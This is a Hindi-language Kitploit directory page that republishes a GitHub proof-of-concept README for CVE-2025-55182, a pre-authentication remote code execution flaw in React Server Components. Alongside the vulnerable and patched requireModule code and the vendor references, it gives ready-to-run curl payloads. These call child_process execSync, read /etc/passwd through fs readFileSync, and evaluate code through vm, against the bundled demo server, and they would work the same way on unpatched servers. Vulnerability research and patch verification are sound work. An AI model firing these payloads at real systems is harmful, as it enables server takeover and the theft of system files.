Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-55182-realistic-poc — react-server-dom-webpack@19.0.0 में लुप्त `hasOwnProperty` जाँच को प्रदर्शित करने वाला एक यथार्थवादी POC | Kitploit
उपकरण/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

[email protected] में लुप्त `hasOwnProperty` जाँच को प्रदर्शित करने वाला एक यथार्थवादी POC

रिपॉजिटरी देखें
119 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182: React Server Components RCE

एक न्यूनतम प्रूफ ऑफ कॉन्सेप्ट जो [email protected] में क्रिटिकल रिमोट कोड एक्ज़ीक्यूशन भेद्यता को प्रदर्शित करता है।

CVE-2025-55182 क्या है?

React सर्वर कंपोनेंट्स में एक प्री-ऑथेंटिकेशन RCE भेद्यता जो हमलावरों को भेद्य react-server-dom-webpack पैकेज (संस्करण 19.0.0 - 19.2.0) का उपयोग करके सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है।

CVSS स्कोर: 10 (गंभीर)

प्रभावित पैकेज

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

पैच किए गए संस्करण

  • 19.0.1, 19.1.2, 19.2.1

भेद्यता

मूल कारण: hasOwnProperty की जांच का अभाव

भेद्यता React के Flight प्रोटोकॉल कार्यान्वयन में requireModule फ़ंक्शन में मौजूद है। यह फ़ंक्शन क्लाइंट अनुरोधों से प्राप्त मेटाडेटा के आधार पर मॉड्यूल निर्यात लोड करता है।

भेद्य कोड ([email protected]):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- कोई सत्यापन नहीं!
}

समस्या: metadata[NAME] उपयोगकर्ता इनपुट (HTTP अनुरोध) से आता है। एक हमलावर किसी भी मॉड्यूल और निर्यात नाम को निर्दिष्ट कर सकता है, जैसे child_process#execSync।

समाधान (PR #35277)

पैच किया गया कोड ([email protected]+):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // ठीक किया गया: सत्यापित करें कि निर्यात वास्तव में मौजूद है
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

समाधान hasOwnProperty.call() जोड़ता है ताकि यह सुनिश्चित किया जा सके कि अनुरोधित निर्यात मॉड्यूल का अपना गुण है, न कि प्रोटोटाइप श्रृंखला से विरासत में मिला या खतरनाक मॉड्यूल के लिए गतिशील रूप से हल करने योग्य।

हमले का वेक्टर

  1. हमलावर सर्वर क्रिया एंडपॉइंट पर एक क्राफ्टेड HTTP POST अनुरोध भेजता है
  2. पेलोड में $ACTION_REF_0 और $ACTION_0:0 फ़ील्ड होते हैं
  3. $ACTION_0:0 में {"id":"child_process#execSync","bound":["whoami"]} होता है
  4. decodeAction इसे पार्स करता है और हमलावर-नियंत्रित मेटाडेटा के साथ requireModule को कॉल करता है
  5. requireModule require('child_process').execSync लौटाता है
  6. फ़ंक्शन हमलावर आर्गुमेंट्स के साथ कॉल किया जाता है → RCE

प्रूफ ऑफ कॉन्सेप्ट

सेटअप

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000

RCE को निष्पादित करें

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

अपेक्षित आउटपुट:

root@kitploit:~
{"success":true,"result":"your-username\n"}

अन्य शोषण उदाहरण

root@kitploit:~
# फ़ाइलें पढ़ें
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# जावास्क्रिप्ट निष्पादित करें
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

यह कैसे काम करता है

decodeAction प्रवाह

root@kitploit:~
HTTP Request
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                     │
│  - Parses $ACTION_REF_0 to find action reference            │
│  - Parses $ACTION_0:0 to get {id, bound}                    │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)             │
│  - id = "child_process#execSync" (attacker controlled)      │
│  - bound = ["whoami"] (attacker controlled)                 │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                  │
│  - Splits "child_process#execSync" into:                    │
│    specifier = "child_process"                              │
│    name = "execSync"                                        │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [VULNERABLE]   │
│  - Loads require("child_process")                           │
│  - Returns moduleExports["execSync"]                        │
│  - NO VALIDATION that "execSync" should be accessible       │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                     │
│  result = action()  →  EXECUTES "whoami" ON SERVER          │
└─────────────────────────────────────────────────────────────┘

संदर्भ

  • React सुरक्षा सलाहकार: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • GitHub PR #35277 (समाधान): https://github.com/facebook/react/pull/35277
  • CVE रिकॉर्ड: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • Wiz विश्लेषण: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Next.js सलाहकार: https://nextjs.org/blog/CVE-2025-66478

लाइसेंस

MIT

टूल डाउनलोड करें